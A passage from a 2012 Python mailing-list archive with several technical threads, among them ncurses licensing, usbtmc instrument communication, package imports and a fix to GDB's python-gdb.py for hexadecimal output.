valid Tkinter colour, including the long and possibly version-dependent list of colours with Zoolanderesque names like 'LightSteelBlue3'). > On the second one, I would split the expression, because (not sure of > that point, i didn't import tk for years) previewbox.config and > entryfield.get may raise a tk.TclError for different reasons. > > The point is Exceptions are made for error handling, not for normal > workflow. Although I'm something of a noob, I'm pretty sure the Python community at large would disagree with this, as evidenced by the fact that 'EAFP' is an entry in the official Python glossary: EAFP Easier to ask for forgiveness than permission. This common Python coding style assumes the existence of valid keys or attributes and catches exceptions if the assumption proves false. This clean and fast style is characterized by the presence of many try and except statements. The technique contrasts with the LBYL style common to many other languages such as C. (from http://docs.python.org/2/glossary.html) -- I have made a thing that superficially resembles music: http://soundcloud.com/eroneity/we-berated-our-own-crapiness From sg552 at hotmail.co.uk Thu Dec 6 14:25:16 2012 From: sg552 at hotmail.co.uk (Rotwang) Date: Thu, 06 Dec 2012 19:25:16 +0000 Subject: Confused compare function :) In-Reply-To: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: On 06/12/2012 04:32, Steven D'Aprano wrote: > On Thu, 06 Dec 2012 03:22:53 +0000, Rotwang wrote: >> [...] >> >> Is there a problem with either of the above? If so, what should I do >> instead? > > They're fine. > > Never, ever say that people should never, ever do something. > > > *cough* Thanks. -- I have made a thing that superficially resembles music: http://soundcloud.com/eroneity/we-berated-our-own-crapiness From alister.ware at ntlworld.com Thu Dec 6 14:28:55 2012 From: alister.ware at ntlworld.com (Alister) Date: Thu, 06 Dec 2012 19:28:55 GMT Subject: The curses module and licensing References: <20121206150210.GA5311@mario.dsl> Message-ID: On Thu, 06 Dec 2012 19:34:04 +0100, benjamin schnitzler wrote: > I think I have accidentially not sent this to the python list: > > On 02:17 Fri 07 Dec , Chris Angelico wrote: >> Hi! >> >> Here's some info on ncurses: >> >> http://invisible-island.net/ncurses/ncurses.faq.html >> >> I would generally assume that it's safe to use any Python standard >> library module without worrying about what license its underlying >> library/ies are distributed under - because I trust the Python core >> developers to ensure that they're creating a product that's not bound >> by unexpected license terms. But you'll probably get an on-list >> response with more detail. >> >> Chris Angelico > Thanks for your answer. I guess you're right. It's just, that I never > really worked for a project where I got into license issues. (At least I > think so.) And I am not really used to it. > The FAQ states: > > "Permission is hereby granted, free of charge, to any person obtaining a > copy of this software and associated documentation files (the > "Software"), to deal in the Software without restriction, including > without limitation the rights to use, > copy, modify, merge, publish, distribute, distribute with modifications, > sublicense, and/or sell copies of the Software, > and to permit persons to whom the Software is furnished to do so, > subject to the following conditions: > The above copyright notice and this permission notice shall be included > in all copies or substantial portions of the Software. > > THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, > EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF > MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. > IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, > DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR > OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR > THE USE OR OTHER DEALINGS IN THE SOFTWARE. > > Except as contained in this notice, the name(s) of the above copyright > holders shall not be used in advertising or otherwise to promote the > sale, use or other dealings in this Software without prior written > authorization." > > "...to deal in the Software without restriction..." > "...distribute, distribute with modifications, sublicense..." > > Sounds good. Ok, but I have to include this into all "copies or > substantial portions of the Software" . Ok, thats a bit vague. > And if I include this notice into my files: It sounds a bit, as if this > would be then a copyright for them. > Substantial portions are, I guess, the libraries themselves. > Which are other substantial portions? Those files which extend the > libraries maybe? I looked into the files of my /usr/lib/python2.7/curses > directory. None of them had this text portion from above included. On > the other hand the FAQ also states that the Free Software Foundation, > who got hold of the copyright, had promised to use the above > distribution terms only for 5 years, which was in 1998, so it might not > be relevant at all. Well ok. I guess I can just leave my files, as they > are, > since they are no real extensions of the library. But I am not > completely sure. If anyone has a better idea: Just let me know it. > > Benjamin > > > On Thu, Dec 6, 2012 at 4:02 PM, Benjamin Schnitzler < > benjaminschnitzler at googlemail.com> wrote: > >> Hello everyone, >> >> I am new to this list. >> I have a question concerning the curses module (I am using python2.7). >> Which license does this module have? Is it bases completely on the >> curses library? In the documentation the following is stated: >> >> "The curses module provides an interface to the curses library, >> the de-facto standard for portable advanced terminal handling." >> >> But also: >> >> "Changed in version 1.6: Added support for the ncurses library and >> converted to a package." >> >> Is it maybe built on both libraries? However, the crucial point is, >> that I want to build a curses terminal interface for some GPL software >> project. Can You give me a hint, if that is possible (yes, I know, You >> are no lawyers) and if and where I have to include licensing >> informations regarding the license of curses/ncurses ? >> >> Thank You >> >> Benjamin >> >
I think I have accidentially not sent this to the python > list:

On 02:17 Fri 07 Dec ? ? , Chris Angelico > wrote:
> Hi!
>?
> Here's some > info on ncurses:
>
>?
>?
> > I would generally assume that it's safe to use any Python > standard
>
> library module without worrying about what license its > underlying
> library/ies are distributed under - because I > trust the Python core
> developers to ensure that > they're creating a product that's not bound
>
> by unexpected license terms. But you'll probably get an > on-list
> response with more > detail.
>?
> Chris Angelico
Thanks > for your answer. I guess you're right. It's just, that I
>
never really worked for a project where I got into > license
issues. (At least I think so.) And I am not really > used to it.
The FAQ > states:

"Permission is hereby granted, > free of charge, to any person
>
obtaining a copy of this software and associated > documentation
files (the "Software"), to deal in the > Software without
restriction, including without limitation the > rights to use,
> copy, modify, merge, publish, distribute, distribute > with
modifications, sublicense, and/or sell copies of the > Software,
and to permit persons to whom the Software is > furnished to do so,
subject to the following conditions:
>
The above copyright notice and this permission notice shall > be
included in all copies or substantial portions of the > Software.

THE SOFTWARE IS PROVIDED "AS > IS", WITHOUT WARRANTY OF ANY KIND,
>
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE > WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR > PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE ABOVE > COPYRIGHT HOLDERS BE
> LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN > AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF > OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER > DEALINGS IN THE
> SOFTWARE.

Except as contained in this notice, > the name(s) of the above
copyright holders shall not be used > in advertising or otherwise
to promote the sale, use or other > dealings in this Software
>
without prior written > authorization."

"...to deal in the > Software without restriction..."
"...distribute, > distribute with modifications, sublicense..."
>

Sounds good. Ok, but I have to include this into all > "copies or
substantial portions of the Software" . > Ok, thats a bit vague.
And if I include this notice into my > files: It sounds a bit, as
>
if this would be then a copyright for them.
Substantial > portions are, I guess, the libraries themselves.
Which are > other substantial portions? Those files which extend
the > libraries maybe? I looked into the files of my?
>
/usr/lib/python2.7/curses directory. None of them had this > text
portion from above included. On the other hand the FAQ > also
states that the Free Software Foundation, who got hold of > the
> copyright, had promised to use the above distribution terms > only
for 5 years, which was in 1998, so it might not be > relevant at
all. Well ok. I guess I can just leave my files, > as they are,
since they are no real extensions of the library. > But I am not
>
completely sure. If anyone has a better idea: Just let me > know
it.

Benjamin
class="gmail_extra">

On Thu, Dec 6, 2012 > at 4:02 PM, Benjamin Schnitzler < href="mailto:benjaminschnitzler at googlemail.com" > target="_blank">benjaminschnitzler at googlemail.com> > wrote:
>
Hello everyone,
>
> I am new to this list.
> I have a question concerning the curses module (I am using
> python2.7). Which license does this module have? Is it bases
> completely on the curses library? In the documentation the
> following is stated:
>
> "The curses module provides an interface to the curses library,
> the de-facto standard for portable advanced terminal handling."
>
> But also:
>
> "Changed in version 1.6: Added support for the ncurses library
> and converted to a package."
>
> Is it maybe built on both libraries? However, the crucial point
> is, that I want to build a curses terminal interface for some GPL
> software project. Can You give me a hint, if that is possible
> (yes, I know, You are no lawyers) and if and where I have to
> include licensing informations regarding the license of
> curses/ncurses ?
>
> Thank You
>
> Benjamin
>

If I understand things correctly this means if you distribute the python package (alone or as part of your application) then you need to include the detailed section. if you provide just your own python code & require the user to install python & any necessary modules (which would be needed for windoze users python is usually installed or at least included in the repository's of most Linux Distros)then this restriction does not apply. the copyright is for the python interpreter & modules not your own personal code. -- I know on which side my bread is buttered. -- John Heywood From jeandubois314 at gmail.com Thu Dec 6 14:41:56 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Thu, 6 Dec 2012 11:41:56 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> Message-ID: <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> On 6 dec, 15:50, w... at mac.com wrote: > On Dec 6, 2012, at 8:50 AM, Jean Dubois wrote: > > [byte] > > > > > > > > > > > > > It seems there is some misunderstanding here. What I meant with ?how > > to "do the equivalent in Python" refered to ?"reading characters > > rather than lines". > > I have written working code myself for another Keithleu which does use > > RS232 for communication. The problem now is specifically for the new > > Keithley which doesn't allow RS232 but only USB-communication over > > usbtmc. So if the "buffer-problem" could be changed by reading > > characters that would be great. > > > regards, > > Jean > > > -- > >http://mail.python.org/mailman/listinfo/python-list > > Sorry about the misunderstanding (and subsequent waste of bandwidth). ?However, if you will look at the serial reads and writes in that handler, you will see that it does things like "serial.read(n)" where "n" is an explicit number, the number of bytes to be read from the serial buffer. > > -Bill I tried changing measurementcurr=usbkeith.readline() to measurementcurr=usbkeith.read(10000) but this leads to trouble with the usbtmc-thing: Measured current 1: Traceback (most recent call last): File "./keith2200rev2.py", line 26, in measurementvolt=usbkeith.read(10000) IOError: [Errno 110] Connection timed out and hereafter I need to restart the Keithley...:-( regards, Jean From d at davea.name Thu Dec 6 15:10:17 2012 From: d at davea.name (Dave Angel) Date: Thu, 06 Dec 2012 15:10:17 -0500 Subject: problem with usbtmc-communication In-Reply-To: <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> Message-ID: <50C0FBA9.2050105@davea.name> On 12/06/2012 02:41 PM, Jean Dubois wrote: > On 6 dec, 15:50, w... at mac.com wrote: >> >> Sorry about the misunderstanding (and subsequent waste of bandwidth). However, if you will look at the serial reads and writes in that handler, you will see that it does things like "serial.read(n)" where "n" is an explicit number, the number of bytes to be read from the serial buffer. >> >> -Bill > I tried changing measurementcurr=usbkeith.readline() to > measurementcurr=usbkeith.read(10000) > but this leads to trouble with the usbtmc-thing: > > Measured current 1: > Traceback (most recent call last): > File "./keith2200rev2.py", line 26, in > measurementvolt=usbkeith.read(10000) > IOError: [Errno 110] Connection timed out > > and hereafter I need to restart the Keithley...:-( I can't see why you used a count of 10000. Isn't the whole problem supposed to be because it doesn't produce a whole line at a time? So after requesting a measurement, if you know the size, use that in the read() method. And if you don't know the size, read it one byte at a time till it make sense. -- DaveA From wrw at mac.com Thu Dec 6 15:15:09 2012 From: wrw at mac.com (wrw at mac.com) Date: Thu, 06 Dec 2012 15:15:09 -0500 Subject: problem with usbtmc-communication In-Reply-To: <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> Message-ID: On Dec 6, 2012, at 2:41 PM, Jean Dubois wrote: > On 6 dec, 15:50, w... at mac.com wrote: >> On Dec 6, 2012, at 8:50 AM, Jean Dubois wrote: >> >> [byte] >> >> >>> It seems there is some misunderstanding here. What I meant with how >>> to "do the equivalent in Python" refered to "reading characters >>> rather than lines". >>> I have written working code myself for another Keithleu which does use >>> RS232 for communication. The problem now is specifically for the new >>> Keithley which doesn't allow RS232 but only USB-communication over >>> usbtmc. So if the "buffer-problem" could be changed by reading >>> characters that would be great. >> >>> regards, >>> Jean >> >>> -- >>> http://mail.python.org/mailman/listinfo/python-list >> >> Sorry about the misunderstanding (and subsequent waste of bandwidth). However, if you will look at the serial reads and writes in that handler, you will see that it does things like "serial.read(n)" where "n" is an explicit number, the number of bytes to be read from the serial buffer. >> >> -Bill > I tried changing measurementcurr=usbkeith.readline() to > measurementcurr=usbkeith.read(10000) > but this leads to trouble with the usbtmc-thing: > > Measured current 1: > Traceback (most recent call last): > File "./keith2200rev2.py", line 26, in > measurementvolt=usbkeith.read(10000) > IOError: [Errno 110] Connection timed out > > and hereafter I need to restart the Keithley...:-( > > regards, > Jean > -- > http://mail.python.org/mailman/listinfo/python-list Several comments: 1) I can't be sure, but that would seem to be asking the Keithley to be providing 10,000 readings. I don't know about the GPIB bus (which this USBTMC library seems to be trying to emulate), but most serial devices expect to provide one answer per read-write handshake. That is, you send one read command and get one answer back. That answer may contain several bytes, but I'd be surprised it it contained 10,000. The typical cycle is something like send-an-initialize, read-status, send-mode-set-up, read-status, send trigger command, read-answer? lather and repeat. (Or some logical equivalent of all that). On the assumption that the USBTMC API handles most of that, I'd try usbkeith.read(n) where "n" is the number of decimal digits you expect to get back plus sign. ------------- 2) I took a quick look at the Keithley and National Instruments web sites (where the documentation is at best, VERY poorly indexed and hard to search for). USBTMC *appears* to be a software layer designed to allow newer Tektronix and Keithley instruments to be driven using older software that drove GPIB equipment. To make matters worse, if I'm reading it right (I didn't study in detail) it appears to ALSO be providing a GPIB-like API to Windows versions of National Instruments LabView. 3) If I understand what you are trying to do, you want to go straight from python to the Keithley USB port, without detouring (USB-to-GPIB and GPIB back to USB). 4) I did find (but did not try to read in detail) the following link: http://www.ni.com/white-paper/4478/en which documents direct USB control of instruments. The python serial library provides quite transparent control of reading and writing to the USB interface. Maybe following this link will get you going. -Bill From tjreedy at udel.edu Thu Dec 6 15:15:42 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 06 Dec 2012 15:15:42 -0500 Subject: mini browser with python In-Reply-To: <2752523.MlzgZ4bAjj@mach-114-20> References: <2752523.MlzgZ4bAjj@mach-114-20> Message-ID: On 12/6/2012 1:15 PM, inq1ltd wrote: > On Thursday, December 06, 2012 05:19:38 PM John Gordon wrote: > > > In inq1ltd > writes: > > > Right now I need some way to display > > > 15 to 20 lines of html in its own window or > > > as part of my screen. > > Could you open a shell window and run a text web browser such as Lynx? > That is a possibility but then every machine > will have to have Lynx. That is not quite > what the customer wants. > Also, I can download the site to a file, Or you can download and work with it in memory. > convert the data to text, Using existing html parser. > then display it in a Text widget. The complication in displaying html is with placing images and other boxed content, including tables, and flowing text around the boxes. If the html you want to work with is simple and has a somewhat fixed format, you should be able to extract all the info as either text or a table and be able to format and place it how you want. -- Terry Jan Reedy From tjreedy at udel.edu Thu Dec 6 15:28:20 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 06 Dec 2012 15:28:20 -0500 Subject: problem with usbtmc-communication In-Reply-To: <5a264830-225a-4321-add4-edda89bfa82c@u19g2000yqj.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <5a264830-225a-4321-add4-edda89bfa82c@u19g2000yqj.googlegroups.com> Message-ID: On 12/6/2012 10:44 AM, Jean Dubois wrote: > I followed your suggestion an now the code looks like this: > #!/usr/bin/python > import time > import os > import sys > measurementcurr='' > measurementvolt='' > timesleepdefault=2 > filename ='mydata.txt' > usbkeith = open('/dev/usbtmc1','r+') > usbkeith.flush() > usbkeith.write("*IDN?\n") > #strip blank line: > identification=usbkeith.readline().strip() > print 'Found device: ',identification > usbkeith.write("SYST:REM" + "\n") > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > keithdata = open(filename,'w') > usbkeith.write(":OUTP:STAT ON\n") > for number, current_in in enumerate(('0.025', '0.050', '0.075', > '0.100'), 1): > usbkeith.write(":SOUR:CURR %s\n" % current_in) > time.sleep(timesleepdefault) > usbkeith.write(":MEAS:CURR?\n") > measurementcurr=usbkeith.readline() > print 'Measured current %d: ' % number, measurementcurr > usbkeith.write(":MEAS:VOLT?\n") > measurementvolt=usbkeith.readline() > print 'Measured voltage %d: ' % number, measurementvolt > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > usbkeith.write(":OUTP:STAT OFF\n") > print "Goodbye, data logged in file:" > print filename > usbkeith.close() > keithdata.close() > > Still there is a "buffer-problem" as you can see in the output below: > 0.00639725 0.0104065; these values are completely wrong > 0.0248976 0.262959; these should have been be the first values > 0.0500431 0.516602: these should been the second values > 0.0749168 0.772616; these are the 3rd values > 4th values are missing > > any idea why this does what it does in Python? I am not familiar with the protocol at all, but my guess (without looking at the octave code) is that two of these three commands > usbkeith.write("SYST:REM" + "\n") > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > usbkeith.write(":OUTP:STAT ON\n") before the loop have responses that you need to read (and toss?) usbkeith.readline(); usbkeith.readline() so that the first values you read in the loop are the one that should be first. In other words, make sure the read buffer is clear before the loop. -- Terry Jan Reedy From tjreedy at udel.edu Thu Dec 6 15:44:10 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 06 Dec 2012 15:44:10 -0500 Subject: question about importing a package In-Reply-To: <116c6e9c-88d1-4f16-9d81-8833b3be519d@googlegroups.com> References: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> <116c6e9c-88d1-4f16-9d81-8833b3be519d@googlegroups.com> Message-ID: On 12/6/2012 11:50 AM, Matt wrote: > It works now. Steven and Alex, thanks for your help! > > I ended up leaving sample.py and foo.py and bar.p the way they were, and in __init__.py putting: > > from foo import * > from bar import * > > So my mistake was not importing the foo and bar modules into sub_one/__init__.py. > > I also see how the __all__ array helps me control what gets imported. I can leave it out of __init__.py, and everything gets imported. So my three lessons are: > > 1) "from X import *" will look for an __all__ list in module X, or in __init__.py if X is a package instead of a module, and import only what is in that list. Module names are different than function names in that list. > 2) if __all__ is not defined, "from X import *' will import everything in X's namespace ... that does not have a leading underscore. This is why there are things like import sys as _sys from itertools import chain as _chain in the stdlib when the module author does not define __all__. > 3) __init__.py acts like just another module, so you have to import the package contents that you want into it before you import the package into your code -- Terry Jan Reedy From no.email at nospam.invalid Thu Dec 6 16:13:41 2012 From: no.email at nospam.invalid (Paul Rubin) Date: Thu, 06 Dec 2012 13:13:41 -0800 Subject: Secretly passing parameter to function References: <50bf9764$0$3120$ba620e4c@news.skynet.be> Message-ID: <7xpq2m28ai.fsf@ruckus.brouhaha.com> Olivier Scalbert writes: > # We ask the framework to do some work. > do(step1, param = None) from functools import partial do(partial(step1, param = None)) From no.email at nospam.invalid Thu Dec 6 16:14:33 2012 From: no.email at nospam.invalid (Paul Rubin) Date: Thu, 06 Dec 2012 13:14:33 -0800 Subject: Secretly passing parameter to function References: <50bf9764$0$3120$ba620e4c@news.skynet.be> <7xpq2m28ai.fsf@ruckus.brouhaha.com> Message-ID: <7xlida2892.fsf@ruckus.brouhaha.com> Paul Rubin writes: > from functools import partial > do(partial(step1, param = None)) Or more directly: do(lambda: step1(param = None)) From irmen.NOSPAM at xs4all.nl Thu Dec 6 16:29:05 2012 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Thu, 06 Dec 2012 22:29:05 +0100 Subject: How to list a file which already created a 2 mins ago In-Reply-To: References: Message-ID: <50c10e20$0$6972$e4fe514c@news.xs4all.nl> On 6-12-2012 17:49, moonhkt wrote: > Hi All > > AIX.5.3 > Python 2.6.2 > > File ftp to Machine A, need to rename then send to Machine B. > > How to list a file which already created a 2 mins ago ? If file aging > more than 2 mins. I want to rename file to other file name. > > moonhkt > ftplib.FTP os.path.getmtime os.rename time.time Should be some pointers to get started. Irmen From no.email at nospam.invalid Thu Dec 6 16:29:23 2012 From: no.email at nospam.invalid (Paul Rubin) Date: Thu, 06 Dec 2012 13:29:23 -0800 Subject: Good use for itertools.dropwhile and itertools.takewhile References: Message-ID: <7xhany27kc.fsf@ruckus.brouhaha.com> Nick Mellor writes: > I came across itertools.dropwhile only today, then shortly afterwards > found Raymond Hettinger wondering, in 2007, whether to drop [sic] > dropwhile and takewhile from the itertools module.... > Almost nobody else of the 18 respondents seemed to be using them. What? I'm amazed by that. I didn't bother reading the old thread, but I use those functions fairly frequently. I just used takewhile the other day, processing a timestamped log file where I wanted to look at certain clusters of events. I won't post the actual code here, but takewhile was a handy way to pull out intervals of interest after an event was seen. From mshroyer at awaredigital.com Thu Dec 6 16:39:41 2012 From: mshroyer at awaredigital.com (Mark Shroyer) Date: Thu, 6 Dec 2012 16:39:41 -0500 Subject: Problem using py-bt, py-locals, etc. during GDB debugging Message-ID: <20121206213941.GA5363@mshroyer-d> I'm having trouble with the py-bt, py-locals, etc. GDB commands (from Python's python-gdb.py) while using GDB 7.4 to debug Python 2.7.3; I was wondering if anyone here could offer advice. Briefly, py-bt seems to identify the python stack frames correctly, but shows "(unable to read python frame information)" for each, and likewise py-locals fails with "Unable to read information on python frame". The full GDB session is shown here: https://gist.github.com/4228342#file_gdb_output.txt My test script is as follows: from __future__ import print_function from os import kill, getpid from signal import SIGINT def factorial(n): if n == 0: # Break into GDB kill(getpid(), SIGINT) return 1 else: return n * factorial(n-1) if __name__ == "__main__": n = 10 print("factorial({0}) = {1}".format(n, factorial(n))) And I'm seeing this with both the following sets of software: 1. Ubuntu 12.04's python-dbg 2.7.3 and GDB 7.4 packages 2. Freshly-built copies of GDB 7.5 and Python 2.7.3 (the latter built with -O0 -g3 in Ubuntu's GCC 4.6.3), after loading that Python's own copy of python-gdb.py into GDB. Any ideas? Thanks... Mark From subhabangalore at gmail.com Thu Dec 6 17:15:53 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Thu, 6 Dec 2012 14:15:53 -0800 (PST) Subject: Cosine Similarity Message-ID: <7ddcb02b-b309-4143-82be-047b90c6df4d@googlegroups.com> Dear Group, I am looking for some example of implementing Cosine similarity in python. I searched for hours but could not help much. NLTK seems to have a module but did not find examples. If anyone of the learned members may kindly help out. Regards, Subhabrata. From benjaminschnitzler at googlemail.com Thu Dec 6 17:37:59 2012 From: benjaminschnitzler at googlemail.com (Benjamin Schnitzler) Date: Thu, 6 Dec 2012 23:37:59 +0100 Subject: The curses module and licensing Message-ID: <20121206223759.GC5570@mario.math.rwth-aachen.de> On 19:28 Thu 06 Dec , Alister wrote: > If I understand things correctly this means if you distribute the python > package (alone or as part of your application) then you need to include > the detailed section. > > if you provide just your own python code & require the user to install > python & any necessary modules (which would be needed for windoze users > python is usually installed or at least included in the repository's of > most Linux Distros)then this restriction does not apply. > > the copyright is for the python interpreter & modules not your own > personal code. Ok, thank you! I think I am clear about it now. As you might have guessed, python will not be distributed with the package. By the way: Sorry for posting the statement of Chris Angelico to the list, it wasn't meant to be on it. > > > -- > I know on which side my bread is buttered. > -- John Heywood > -- > http://mail.python.org/mailman/listinfo/python-list From who at doctor.com Thu Dec 6 17:50:20 2012 From: who at doctor.com (who at doctor.com) Date: Thu, 6 Dec 2012 14:50:20 -0800 (PST) Subject: paramiko.BadAuthenticationType In-Reply-To: <80aafa01-fc6c-4569-ba6f-2ba80b2b53b8@jj5g2000pbc.googlegroups.com> References: <80aafa01-fc6c-4569-ba6f-2ba80b2b53b8@jj5g2000pbc.googlegroups.com> Message-ID: FWIW, I'm trying to write a python program that does the equivalent this perl program: http://devcentral.f5.com/downloads/iControl/SDK/sslvpn.public.pl.txt I don't see any code there that refers to a public key, but it works fine. From rosuav at gmail.com Thu Dec 6 18:07:43 2012 From: rosuav at gmail.com (Chris Angelico) Date: Fri, 7 Dec 2012 10:07:43 +1100 Subject: The curses module and licensing In-Reply-To: <20121206223759.GC5570@mario.math.rwth-aachen.de> References: <20121206223759.GC5570@mario.math.rwth-aachen.de> Message-ID: On Fri, Dec 7, 2012 at 9:37 AM, Benjamin Schnitzler wrote: > By the way: Sorry for posting the statement of Chris Angelico to > the list, it wasn't meant to be on it. Apology accepted :) It was off-list mainly because it strayed off-topic, not because there was anything particularly private in it. No harm done! ChrisA From msirenef at lightbird.net Thu Dec 6 19:10:32 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Thu, 06 Dec 2012 19:10:32 -0500 Subject: New tutorials In-Reply-To: <57964315.1923822.1354814189465.JavaMail.root@sequans.com> References: <57964315.1923822.1354814189465.JavaMail.root@sequans.com> Message-ID: <50C133F8.6070001@lightbird.net> On 12/06/2012 12:16 PM, Jean-Michel Pichavant wrote: > ----- Original Message ----- >> On 12/02/2012 09:54 AM, Mitya Sirenef wrote: >>> Hi everyone, I'm making a series of python tutorials and I've just >> > finished the introductory part: >> > http://lightbird.net/larks/intro.html >> > >> > Feedback is appreciated.. - mitya >> > >> >> >> I've added two more tutorials, Sudoku and Battleship games: >> >> http://lightbird.net/larks/sudoku.html >> >> http://lightbird.net/larks/battleship.html >> >> >> As with Blocky Blocks, I'm not sure unicode chars in Battleship will >> work well for everyone on all OSes, I've only tested it on Linux >> X terminal. -m >> >> -- >> http://mail.python.org/mailman/listinfo/python-list > > You should summarize the new python concept introduced by each tutorial so people can jump directly to the section they need. That's a good idea, I was thining of something along the same lines, I wanted to add a few more games first but I guess there's enough of them already to make this useful. I'll try to add an 'index' section tomorrow. > > > I have the feeling this is not really a python tutorial, it's a bunch > of mini games that happen to be written in python. Am I right ? If I'm > wrong, you should definitely organize your doc by python concepts, > linking each concept to any related tutorial. It is meant as a python tutorial, it's just not fleshed out yet. I want to add a few games and take a step back and figure out what order to put them in and how to spread out detailed explanation across all sections. Thanks for the feedback! -m > > JM > > From mshroyer at awaredigital.com Thu Dec 6 19:22:12 2012 From: mshroyer at awaredigital.com (Mark Shroyer) Date: Thu, 6 Dec 2012 19:22:12 -0500 Subject: Problem using py-bt, py-locals, etc. during GDB debugging [solved] In-Reply-To: <20121206213941.GA5363@mshroyer-d> References: <20121206213941.GA5363@mshroyer-d> Message-ID: <20121207002212.GB5363@mshroyer-d> On Thu, Dec 06, 2012 at 04:39:41PM -0500, Mark Shroyer wrote: > I'm having trouble with the py-bt, py-locals, etc. GDB commands (from > Python's python-gdb.py) while using GDB 7.4 to debug Python 2.7.3; I was > wondering if anyone here could offer advice. > > Briefly, py-bt seems to identify the python stack frames correctly, but > shows "(unable to read python frame information)" for each, and likewise > py-locals fails with "Unable to read information on python frame". OK, I took a closer look at this and I've identified the issue; posting my fix here in case someone else Googles this. The problem in my case was that the python-gdb.py extension makes some fragile assumptions about the format of values it receives from GDB, and I had the line "set output-radix 16" in my .gdbinit, ultimately resulting in the extension attempting to convert the string representation of a hexadecimal number into an integer. So there are two easy workarounds: 1. set output-radix 10 in GDB, or 2. Patch Python 2.7.3's python-gdb.py as follows: === 8< ================================= --- python-gdb.py.orig 2012-12-06 15:12:18.666760664 -0500 +++ python-gdb.py 2012-12-06 19:17:19.588356874 -0500 @@ -1074,7 +1074,11 @@ def int_from_int(gdbval): - return int(str(gdbval)) + int_str = str(gdbval) + if int_str.startswith("0x"): + return int(int_str[2:], 16) + else: + return int(int_str) def stringify(val): === 8< ================================= I haven't checked to see whether this also applies to the GDB extension for Python 3, though. From python at mrabarnett.plus.com Thu Dec 6 19:37:22 2012 From: python at mrabarnett.plus.com (MRAB) Date: Fri, 07 Dec 2012 00:37:22 +0000 Subject: Problem using py-bt, py-locals, etc. during GDB debugging [solved] In-Reply-To: <20121207002212.GB5363@mshroyer-d> References: <20121206213941.GA5363@mshroyer-d> <20121207002212.GB5363@mshroyer-d> Message-ID: <50C13A42.1080608@mrabarnett.plus.com> On 2012-12-07 00:22, Mark Shroyer wrote: > On Thu, Dec 06, 2012 at 04:39:41PM -0500, Mark Shroyer wrote: >> I'm having trouble with the py-bt, py-locals, etc. GDB commands (from >> Python's python-gdb.py) while using GDB 7.4 to debug Python 2.7.3; I was >> wondering if anyone here could offer advice. >> >> Briefly, py-bt seems to identify the python stack frames correctly, but >> shows "(unable to read python frame information)" for each, and likewise >> py-locals fails with "Unable to read information on python frame". > > OK, I took a closer look at this and I've identified the issue; posting > my fix here in case someone else Googles this. > > The problem in my case was that the python-gdb.py extension makes some > fragile assumptions about the format of values it receives from GDB, and > I had the line "set output-radix 16" in my .gdbinit, ultimately > resulting in the extension attempting to convert the string > representation of a hexadecimal number into an integer. > > So there are two easy workarounds: > > 1. set output-radix 10 in GDB, or > > 2. Patch Python 2.7.3's python-gdb.py as follows: > > === 8< ================================= > > --- python-gdb.py.orig 2012-12-06 15:12:18.666760664 -0500 > +++ python-gdb.py 2012-12-06 19:17:19.588356874 -0500 > @@ -1074,7 +1074,11 @@ > > > def int_from_int(gdbval): > - return int(str(gdbval)) > + int_str = str(gdbval) > + if int_str.startswith("0x"): > + return int(int_str[2:], 16) > + else: > + return int(int_str) > > > def stringify(val): > > === 8< ================================= > > I haven't checked to see whether this also applies to the GDB extension > for Python 3, though. > A shorter fix would be: def int_from_int(gdbval): return int(str(gdbval), 0) Some examples: >>> # Decimal >>> int("12", 0) 12 >>> # Hexadecimal >>> int("0x12", 0) 18 >>> # Octal >>> int("012", 0) 10 >>> # Octal >>> int("0o12", 0) 10 >>> # Binary >>> int("0b11", 0) 3 From alec.taylor6 at gmail.com Thu Dec 6 21:12:31 2012 From: alec.taylor6 at gmail.com (Alec Taylor) Date: Fri, 7 Dec 2012 13:12:31 +1100 Subject: Project for creating and presenting API documentation? Message-ID: Seen some nice API documentation around, but there 